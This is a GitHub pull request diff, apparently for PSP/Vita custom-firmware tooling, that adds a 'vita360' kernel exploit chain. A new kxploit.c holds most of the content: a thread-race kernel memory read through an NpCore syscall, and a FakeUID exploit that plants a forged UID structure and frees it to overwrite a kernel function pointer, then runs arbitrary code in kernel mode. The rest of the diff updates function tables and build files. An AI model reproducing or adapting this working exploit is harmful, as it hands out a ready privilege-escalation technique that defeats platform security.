Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

vita360 compiles, as well as sceWlanGetEtherAddr (if needed) #3

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ PROVITA ?= $(shell pwd)
PYTHON = $(shell which python3)
USE_FLASH0_ARK ?= 1
SAVE ?= -1
K ?= sceSdGetLastIndex
K ?= vita360
FLASH_DUMP ?= 0

export ARKROOT DEBUG PROVITA K FLASH_DUMP
Expand Down
2 changes: 1 addition & 1 deletion ark/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,7 @@ int exploitEntry(char* arg0)
// read kxploit file into memory and initialize it
initKxploitFile();

if (kxf->stubScanner() == 0)
if (kxf->stubScanner(g_tbl) == 0)
{
// Corrupt Kernel
int ret = kxf->doExploit();
Expand Down
61 changes: 59 additions & 2 deletions common/include/functions.h
Original file line number Diff line number Diff line change
Expand Up @@ -25,14 +25,67 @@

// K.BIN communication interface
typedef struct KxploitFunctions{
int (* stubScanner)(void);
int (* stubScanner)(struct UserFunctions*);
int (* doExploit)(void);
void (* executeKernel)(u32 kernelContentFunction);
void (* repairInstruction)(void);
void (* p5_open_savedata)(int mode);
void (* p5_close_savedata)();
}KxploitFunctions;

typedef struct UserFunctions
{
ARKConfig* config;
int (* IoOpen)(char *, int, int);
int (* IoRead)(int, void *, int);
int (* IoWrite)(int, void *, int);
int (* IoClose)(int);
int (* IoRemove)(char*);
void (* KernelLibcTime)(int);
void (* KernelLibcClock)();
int (* KernelPowerLock)(unsigned int, unsigned int);
void (* KernelDcacheWritebackAll)(void);
void (* KernelIcacheInvalidateAll)(void);
int (* DisplaySetFrameBuf)(void *topaddr, int bufferwidth, int pixelformat, int sync);
SceUID (* KernelCreateThread)(const char *name, SceKernelThreadEntry entry, int initPriority, int stackSize, SceUInt attr, SceKernelThreadOptParam *option);
int (* KernelStartThread)(SceUID thid, SceSize arglen, void *argp);
void (* KernelDelayThread)(uint32_t);
void (* KernelExitThread)(uint32_t);
int (* KernelExitDeleteThread)(int status);
int (* KernelWaitThreadEnd)(SceUID thid, SceUInt *timeout);
SceUID (* KernelCreateVpl)(const char*, int, int, unsigned int, void*);
int (* KernelTryAllocateVpl)(SceUID, unsigned int, void**);
int (* KernelFreeVpl)(SceUID uid, void *data);
int (* KernelDeleteVpl)(int);
int (* KernelDeleteFpl)(int);
unsigned int (*KernelCpuSuspendIntr)();
void (*KernelCpuResumeIntr)(unsigned int flags);
int (* UtilityLoadModule)(int);
int (* UtilityUnloadModule)(int);
int (* UtilityLoadNetModule)(int);
int (* UtilityUnloadNetModule)(int);
//int (* SysMemUserForUser_91DE343C)( void *unk );
SceUID (*KernelAllocPartitionMemory)(SceUID partitionid, const char *name, int type, SceSize size, void *addr);
void * (*KernelGetBlockHeadAddr)(SceUID blockid);
int (* KernelFreePartitionMemory)(int);
int (* UtilitySavedataGetStatus)();
int (* UtilitySavedataInitStart)(void* params);
void (* UtilitySavedataUpdate)(int a0);
int (* UtilitySavedataShutdownStart)();
int (* KernelVolatileMemUnlock)(int unknown);
// common ark functions
void (* freeMem)(struct UserFunctions*);
u32 (* FindImportUserRam)(char *libname, u32 nid);
u32 (* FindImportVolatileRam)(char *libname, u32 nid);
u32 (* FindImportRange)(char *libname, u32 nid, u32 lower, u32 higher);
void* (* RelocSyscall)(u32 call);
int (* p5_open_savedata)(int mode);
int (* p5_close_savedata)();
u32 (* qwikTrick)(char* lib, u32 nid, u32 version);
void (*prtstr)(const char* A, unsigned long B, unsigned long C, unsigned long D, unsigned long E, unsigned long F, unsigned long G, unsigned long H, unsigned long I, unsigned long J, unsigned long K, unsigned long L);
} UserFunctions;


// PBP Header
typedef struct
{
Expand Down Expand Up @@ -80,6 +133,9 @@ typedef struct FunctionTable
void* (* RelocSyscall)(u32 call);
void (*prtstr)(const char* A, unsigned long B, unsigned long C, unsigned long D, unsigned long E, unsigned long F, unsigned long G, unsigned long H, unsigned long I, unsigned long J, unsigned long K, unsigned long L);
u32 (*FindTextAddrByName)(const char*);
u32 (*sceKernelExitDeleteThread)(u32 status);
u32 (*KernelAllocPartitionMemory)(u32 partitionid, const char *name, int type, SceSize size, void *addr);
void (* KernelLibcClock)();
} FunctionTable;

// fills a FunctionTable instance with all available imports
Expand Down Expand Up @@ -144,7 +200,8 @@ typedef struct KernelFunctions{

int (* WlanGetEtherAddr)(unsigned char *destAddr);

int (* Kermit_driver_4F75AA05)(KermitPacket *packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp);
//int (* Kermit_driver_4F75AA05)(KermitPacket *packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp);
int (* Kermit_driver_4F75AA05)(void* kermit_packet, u32 cmd_mode, u32 cmd, u32 argc, u32 allow_callback, u64 *resp);

int (* KernelLoadExecVSHWithApitype)(int, char *, struct SceKernelLoadExecVSHParam *, int);

Expand Down
5 changes: 3 additions & 2 deletions kxploit/kxploit.h
Original file line number Diff line number Diff line change
Expand Up @@ -34,10 +34,11 @@ extern FunctionTable* g_tbl;
#define PRTSTR1(text, x1) PRTSTR2(text, x1, 0)
#define PRTSTR(text) PRTSTR1(text, 0)

extern int stubScanner(void);
//extern int stubScanner(void);
extern int doExploit(void);
extern void executeKernel(u32 kernelContentFunction);
extern void repairInstruction(void);
extern void repairInstruction(KernelFunctions*);
extern int stubScanner(UserFunctions* tbl);

// p5 stubs
extern void p5_open_savedata(int mode);
Expand Down
2 changes: 2 additions & 0 deletions kxploit/main.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
#include <sdk.h>
#include "kxploit.h"
#include "functions.h"


int (* _sceUtilitySavedataGetStatus)() = (void*)NULL;
int (* _sceUtilitySavedataInitStart)(SceUtilitySavedataParam *params) = (void*)NULL;
Expand Down
Binary file added kxploit/sceSdGetLastIndex/kxploit.o
Binary file not shown.
4 changes: 2 additions & 2 deletions kxploit/sceWlanGetEtherAddr/kxploit.c
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,9 @@
#include <rebootconfig.h>
#include <systemctrl_se.h>
#include "kxploit.h"
#include "functions.h"
#include <functions.h>

FunctionTable *g_tbl = NULL;
//FunctionTable extern *g_tbl = NULL;

int (* WlanGetEtherAddr)(unsigned char *destAddr) = NULL;
void (* KernelLibcTime)(int, int) = NULL;
Expand Down
Binary file added kxploit/sceWlanGetEtherAddr/kxploit.o
Binary file not shown.
198 changes: 198 additions & 0 deletions kxploit/vita360/kxploit.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,198 @@
#include <pspdebug.h>
#include <pspctrl.h>
#include <pspsdk.h>
#include <pspiofilemgr.h>
#include <psputility.h>
#include <psputility_htmlviewer.h>
#include <psploadexec.h>
#include <psputils.h>
#include <psputilsforkernel.h>
#include <pspsysmem.h>
#include <psppower.h>
#include <string.h>

#include "macros.h"
#include "globals.h"
#include <functions.h>
#include "kxploit.h"

/*
SceUID kernel exploit by qwikrazor87.
Read only kernel exploit by TheFl0w.
Part of Trinity exploit chain.
Put together by Acid_Snake and meetpatty.
*/


#define DUMP_PATH "ms0:/kram.bin"
#define BUF_SIZE 10*1024 // 10KB buffer to minimize IO

#define LIBC_CLOCK_OFFSET_360 0x88014D80
#define LIBC_CLOCK_OFFSET_365 0x88014D00
#define SYSMEM_SEED_OFFSET_365 0x88014E38
#define SYSMEM_SEED_OFFSET_CHECK SYSMEM_TEXT+0x00002FA8

#define FAKE_UID_OFFSET 0x80

//extern UserFunctions* g_tbl;
int (*_sceNpCore_8AFAB4A0)(int *input, char *string, int length);

/* Actual code to trigger the kram read vulnerability.
We can read the value stored at any location in Kram.
*/
static volatile int running;
static volatile int idx;
static int input[3];
static int libc_clock_offset = LIBC_CLOCK_OFFSET_360;

//extern int stubScanner(struct UserFunctions*);

static int racer(SceSize args, void *argp) {
running = 1;

while (running) {
input[1] = 0;
g_tbl->KernelDelayThread(10);
input[1] = idx;
g_tbl->KernelDelayThread(10);
}

return g_tbl->sceKernelExitDeleteThread(0);
}
u32 readKram(u32 addr){
SceUID thid = g_tbl->KernelCreateThread("", racer, 8, 0x1000, 0, NULL);
if (thid < 0)
return 0;

g_tbl->KernelStartThread(thid, 0, NULL);

char string[8];
int round = 0;

idx = -83; // relative offset 0xB00 in np_core.prx (0xD98 + (-83 << 3))

int i;
for (i = 0; i < 100000; i++) {
u32 res = _sceNpCore_8AFAB4A0(input, string, sizeof(string));
if (res != 5 && res != 0x80550203) {
switch (round) {
case 0:
round = 1;
idx = (addr - (res - 0xA74) - 0xD98) >> 3;
break;
case 1:
running = 0;
return res;
}
}
}

running = 0;
return 0;
}

void repairInstruction(KernelFunctions* k_tbl) {
SceModule2 *mod = k_tbl->KernelFindModuleByName("sceRTC_Service");
_sw(mod->text_addr + 0x3904, libc_clock_offset);
k_tbl->KernelIcacheInvalidateAll();
k_tbl->KernelDcacheWritebackInvalidateAll();
}


int stubScanner(UserFunctions* tbl){
int res = 0;
g_tbl = tbl;
tbl->freeMem(tbl);

g_tbl->UtilityLoadModule(PSP_MODULE_NP_COMMON);
g_tbl->UtilityLoadModule(PSP_MODULE_NET_COMMON);
g_tbl->UtilityLoadModule(PSP_MODULE_NET_INET);
_sceNpCore_8AFAB4A0 = tbl->FindImportUserRam("sceNpCore", 0x8AFAB4A0);

return 0;
}

int checkPlantUID(int uid){
u32 addr = 0x88000000 + ((uid >> 5) & ~3);
u32 data = readKram(addr);
return (data == libc_clock_offset - 4);
}

void dumpBuf(char* path, void* buf, int size){
int fd = g_tbl->IoOpen(path, PSP_O_WRONLY|PSP_O_CREAT|PSP_O_TRUNC, 0777);
g_tbl->IoWrite(fd, buf, size);
g_tbl->IoClose(fd);
}

/*
FakeUID kxploit
*/

int doExploit(void) {

int res;
u32 seed = 0;

if (_sceNpCore_8AFAB4A0 != NULL){
u32 test_val = readKram(SYSMEM_SEED_OFFSET_CHECK);
if (test_val == 0x8F154E38){
seed = readKram(SYSMEM_SEED_OFFSET_365);
libc_clock_offset = LIBC_CLOCK_OFFSET_365;
}
}

// Allocate dummy block to improve reliability
char dummy[32];
memset(dummy, 'a', sizeof(dummy));
SceUID dummyid;
int i;
for (i=0; i<10; i++)
dummyid = g_tbl->KernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, dummy, PSP_SMEM_High, 0x10, NULL);

// we can calculate the address of dummy block via its UID and from there calculate where the next block will be
u32 dummyaddr = 0x88000000 + ((dummyid >> 5) & ~3);
u32 newaddr = dummyaddr - FAKE_UID_OFFSET;
SceUID uid = (((newaddr & 0x00ffffff) >> 2) << 7) | 0x1;
SceUID encrypted_uid = uid ^ seed; // encrypt UID, if there's none then A^0=A

// Plant UID data structure into kernel as string
u32 string[] = { libc_clock_offset - 4, 0x88888888, 0x88016dc0, encrypted_uid, 0x88888888, 0x10101010, 0, 0 };
SceUID plantid = g_tbl->KernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, (char *)string, PSP_SMEM_High, 0x10, NULL);

g_tbl->KernelDcacheWritebackAll();

//dumpBuf("ms0:/dummyaddr.bin", &dummyaddr, sizeof(dummyaddr));
//dumpBuf("ms0:/newaddr.bin", &newaddr, sizeof(newaddr));

// Overwrite function pointer at LIBC_CLOCK_OFFSET with 0x88888888
res = g_tbl->KernelFreePartitionMemory(uid);

g_tbl->KernelDcacheWritebackAll();

/*
int (*CtrlReadBufferPositive)(SceCtrlData *, int) = NULL;
CtrlReadBufferPositive = g_tbl->FindImportUserRam("sceCtrl", 0x1F803938);
u32 EXIT_MASK = (PSP_CTRL_START | PSP_CTRL_UP);
while (1){
SceCtrlData pad_data;
CtrlReadBufferPositive(&pad_data, 1);
if((pad_data.Buttons & EXIT_MASK) == EXIT_MASK){
break;
}
}
*/

if (res < 0) return res;

return 0;
}

void executeKernel(u32 kernelContentFunction){
// Make a jump to kernel function
_sw(JUMP(KERNELIFY(kernelContentFunction)), 0x08888888);
_sw(NOP, 0x08888888+4);
g_tbl->KernelDcacheWritebackAll();

// Execute kernel function
g_tbl->KernelLibcClock();
}